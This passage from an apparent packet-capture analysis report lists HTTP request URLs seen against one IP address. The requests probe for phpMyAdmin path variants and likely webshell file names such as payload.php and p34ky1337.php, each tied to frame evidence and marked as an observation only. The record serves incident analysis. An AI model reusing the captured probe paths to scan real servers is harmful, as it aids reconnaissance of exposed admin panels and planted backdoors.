        "observable_id": "observable-2e3094919c980cfee1b18bed",
        "type": "url",
        "value": "http://128.199.64.235/myadmin/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 249,
            "display_filter": "frame.number == 249",
            "timestamp_epoch": "1577255403.763204000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-66dc9aca3233c75ea47e1196",
        "type": "url",
        "value": "http://128.199.64.235/MyAdmin/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 252,
            "display_filter": "frame.number == 252",
            "timestamp_epoch": "1577255404.040171000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7db670895ee87995e0d0dd15",
        "type": "url",
        "value": "http://128.199.64.235/myadmin/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 237,
            "display_filter": "frame.number == 237",
            "timestamp_epoch": "1577255402.653381000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0d129bbcc77451011dfd2ac2",
        "type": "url",
        "value": "http://128.199.64.235/MyAdmin/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 240,
            "display_filter": "frame.number == 240",
            "timestamp_epoch": "1577255402.930694000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e1d3c24917b640a9f27f18bc",
        "type": "url",
        "value": "http://128.199.64.235/myadmin2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2197,
            "display_filter": "frame.number == 2197",
            "timestamp_epoch": "1577256376.036773000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cb5877170f29db4cf810a145",
        "type": "url",
        "value": "http://128.199.64.235/mysql-admin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2145,
            "display_filter": "frame.number == 2145",
            "timestamp_epoch": "1577256359.003859000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4b4c78550603a8257c264dac",
        "type": "url",
        "value": "http://128.199.64.235/mysql.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1896,
            "display_filter": "frame.number == 1896",
            "timestamp_epoch": "1577256227.169239000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f5d90f0d9a49d90ff31c6156",
        "type": "url",
        "value": "http://128.199.64.235/mysql/admin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2377,
            "display_filter": "frame.number == 2377",
            "timestamp_epoch": "1577256438.048093000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-81c03a20cf0c96c29c59f8be",
        "type": "url",
        "value": "http://128.199.64.235/mysql/dbadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2380,
            "display_filter": "frame.number == 2380",
            "timestamp_epoch": "1577256438.318492000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bfab1fad9f23310464b5724e",
        "type": "url",
        "value": "http://128.199.64.235/mysql/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2097,
            "display_filter": "frame.number == 2097",
            "timestamp_epoch": "1577256342.271411000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5e7847b3de7bab8a5e912cc6",
        "type": "url",
        "value": "http://128.199.64.235/mysql/sqlmanager/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 74,
            "frame_number": 2387,
            "display_filter": "frame.number == 2387",
            "timestamp_epoch": "1577256442.065417000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b0a6d1b56857ce0d7144f5b5",
        "type": "url",
        "value": "http://128.199.64.235/mysql_admin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2147,
            "display_filter": "frame.number == 2147",
            "timestamp_epoch": "1577256359.285766000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a1c5e15b14382d48732ddd72",
        "type": "url",
        "value": "http://128.199.64.235/mysqladmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2142,
            "display_filter": "frame.number == 2142",
            "timestamp_epoch": "1577256358.669251000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-377854032496e96cdc4d4553",
        "type": "url",
        "value": "http://128.199.64.235/MySQLAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2417,
            "display_filter": "frame.number == 2417",
            "timestamp_epoch": "1577256450.716240000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e8b1e269fa430365263b3ebe",
        "type": "url",
        "value": "http://128.199.64.235/mz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1224,
            "display_filter": "frame.number == 1224",
            "timestamp_epoch": "1577255878.400872000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-83d5d02c13e13f418a4b3715",
        "type": "url",
        "value": "http://128.199.64.235/nb.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 723,
            "display_filter": "frame.number == 723",
            "timestamp_epoch": "1577255675.190009000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4707482f9f4dad0e51704788",
        "type": "url",
        "value": "http://128.199.64.235/neko.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1844,
            "display_filter": "frame.number == 1844",
            "timestamp_epoch": "1577256203.856851000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6ac9a2a543416b5eac397b25",
        "type": "url",
        "value": "http://128.199.64.235/new_license.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 7,
            "frame_number": 364,
            "display_filter": "frame.number == 364",
            "timestamp_epoch": "1577255455.638799000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-70d0254e94c325cea7f8768f",
        "type": "url",
        "value": "http://128.199.64.235/nnb.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 874,
            "display_filter": "frame.number == 874",
            "timestamp_epoch": "1577255754.834136000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ce95fe5b23dc7492bd7f6122",
        "type": "url",
        "value": "http://128.199.64.235/nnn.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 767,
            "display_filter": "frame.number == 767",
            "timestamp_epoch": "1577255690.130026000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-43cc63adc604ca04a67af510",
        "type": "url",
        "value": "http://128.199.64.235/no.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 62,
            "frame_number": 1886,
            "display_filter": "frame.number == 1886",
            "timestamp_epoch": "1577256215.393642000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a1137c20eb0685add37df950",
        "type": "url",
        "value": "http://128.199.64.235/no1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 458,
            "display_filter": "frame.number == 458",
            "timestamp_epoch": "1577255514.871544000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7dd6b870d138b9d0ca64e5cf",
        "type": "url",
        "value": "http://128.199.64.235/nuoxi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1580,
            "display_filter": "frame.number == 1580",
            "timestamp_epoch": "1577256083.873098000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cdbe7c6f8fc8a95e61141468",
        "type": "url",
        "value": "http://128.199.64.235/o.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 978,
            "display_filter": "frame.number == 978",
            "timestamp_epoch": "1577255787.629408000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f818a100152627c08189ebea",
        "type": "url",
        "value": "http://128.199.64.235/okokok.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1586,
            "display_filter": "frame.number == 1586",
            "timestamp_epoch": "1577256084.537106000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-074b02f0b61022d8680907a9",
        "type": "url",
        "value": "http://128.199.64.235/olelist.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 953,
            "display_filter": "frame.number == 953",
            "timestamp_epoch": "1577255781.486826000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-24a31735a0d589f0c1311cfb",
        "type": "url",
        "value": "http://128.199.64.235/ooi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 738,
            "display_filter": "frame.number == 738",
            "timestamp_epoch": "1577255679.558468000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0dcc4d4ac90b33b45822c15d",
        "type": "url",
        "value": "http://128.199.64.235/ooo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 844,
            "display_filter": "frame.number == 844",
            "timestamp_epoch": "1577255725.060106000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1479,
            "display_filter": "frame.number == 1479",
            "timestamp_epoch": "1577256046.780153000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28a383ead20b703322831ac7",
        "type": "url",
        "value": "http://128.199.64.235/ooo23.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1421,
            "display_filter": "frame.number == 1421",
            "timestamp_epoch": "1577256008.818732000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-05ee7b9e76c4386cc2816b33",
        "type": "url",
        "value": "http://128.199.64.235/orange.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1939,
            "display_filter": "frame.number == 1939",
            "timestamp_epoch": "1577256246.719146000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4768bcf92767a4e22678c03a",
        "type": "url",
        "value": "http://128.199.64.235/p.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1665,
            "display_filter": "frame.number == 1665",
            "timestamp_epoch": "1577256132.243514000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4e80790569bda4d2afde2f23",
        "type": "url",
        "value": "http://128.199.64.235/p34ky1337.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1063,
            "display_filter": "frame.number == 1063",
            "timestamp_epoch": "1577255807.276352000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-06fa0252dfaa6256b8631078",
        "type": "url",
        "value": "http://128.199.64.235/pagefile.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1018,
            "display_filter": "frame.number == 1018",
            "timestamp_epoch": "1577255798.109281000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-32cd6188645c52e7a8939475",
        "type": "url",
        "value": "http://128.199.64.235/pass.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 950,
            "display_filter": "frame.number == 950",
            "timestamp_epoch": "1577255780.655780000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d8d4bfde868332fb7648f6bd",
        "type": "url",
        "value": "http://128.199.64.235/payload.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 329,
            "display_filter": "frame.number == 329",
            "timestamp_epoch": "1577255435.263223000"
          },
          {
            "tcp_stream": 7,
            "frame_number": 361,
            "display_filter": "frame.number == 361",
            "timestamp_epoch": "1577255454.651743000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8c402819826ef52f09483b7d",
        "type": "url",
        "value": "http://128.199.64.235/pe.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 33,
            "frame_number": 1156,
            "display_filter": "frame.number == 1156",
            "timestamp_epoch": "1577255831.999353000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-94c8533af24934fe7bb7f8df",
        "type": "url",
        "value": "http://128.199.64.235/php.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1799,
            "display_filter": "frame.number == 1799",
            "timestamp_epoch": "1577256189.879792000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-500dccdeca89c7cac5af51a1",
        "type": "url",
        "value": "http://128.199.64.235/php2MyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2307,
            "display_filter": "frame.number == 2307",
            "timestamp_epoch": "1577256406.814526000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-79d67b480d85d475d468e0f8",
        "type": "url",
        "value": "http://128.199.64.235/phpadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2150,
            "display_filter": "frame.number == 2150",
            "timestamp_epoch": "1577256359.567646000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-711c2270a912db43e953f457",
        "type": "url",
        "value": "http://128.199.64.235/phpAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2153,
            "display_filter": "frame.number == 2153",
            "timestamp_epoch": "1577256360.364110000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ed4159f0b40e8d1489ef9794",
        "type": "url",
        "value": "http://128.199.64.235/phpdm.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 532,
            "display_filter": "frame.number == 532",
            "timestamp_epoch": "1577255590.769645000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-dda2814655ce69b53d412fad",
        "type": "url",
        "value": "http://128.199.64.235/phpiMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2310,
            "display_filter": "frame.number == 2310",
            "timestamp_epoch": "1577256407.081539000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-87556f70ad748028dbbc0155",
        "type": "url",
        "value": "http://128.199.64.235/phpinfi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1312,
            "display_filter": "frame.number == 1312",
            "timestamp_epoch": "1577255921.483227000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-50be602798f3b6e6b32e11c5",
        "type": "url",
        "value": "http://128.199.64.235/phpinfo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 28,
            "display_filter": "frame.number == 28",
            "timestamp_epoch": "1577255333.957025000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0f1b06289576ebf469e361a8",
        "type": "url",
        "value": "http://128.199.64.235/phpini.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1494,
            "display_filter": "frame.number == 1494",
            "timestamp_epoch": "1577256050.315473000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2725a42599cdff0ee8fc40e9",
        "type": "url",
        "value": "http://128.199.64.235/phpma/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2231,
            "display_filter": "frame.number == 2231",
            "timestamp_epoch": "1577256383.739814000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-244f0279e5d83e5282eb3bce",
        "type": "url",
        "value": "http://128.199.64.235/phpmadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2325,
            "display_filter": "frame.number == 2325",
            "timestamp_epoch": "1577256408.382120000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-30c43e976f7d6d3dc3264b88",
        "type": "url",
        "value": "http://128.199.64.235/phpmy/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2374,
            "display_filter": "frame.number == 2374",
            "timestamp_epoch": "1577256437.244396000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b1361c07c7159e742e21e452",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAbmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2240,
            "display_filter": "frame.number == 2240",
            "timestamp_epoch": "1577256385.870208000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-48076369daf00bc2707c0eb5",
        "type": "url",
        "value": "http://128.199.64.235/phpmyadm1n/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2252,
            "display_filter": "frame.number == 2252",
            "timestamp_epoch": "1577256390.858602000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a9da307df335a49321654d49",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdm1n/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2255,
            "display_filter": "frame.number == 2255",
            "timestamp_epoch": "1577256391.118097000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2d92f377c5c81945f5dd209f",
        "type": "url",
        "value": "http://128.199.64.235/phpMyadmi/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2261,
            "display_filter": "frame.number == 2261",
            "timestamp_epoch": "1577256393.658362000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e3af01a6d95bde687faea7d7",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin+++---/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2246,
            "display_filter": "frame.number == 2246",
            "timestamp_epoch": "1577256389.594200000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8238a7f004071c29c99772c8",
        "type": "url",
        "value": "http://128.199.64.235/phpMyAdmin-4.4.0/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2166,
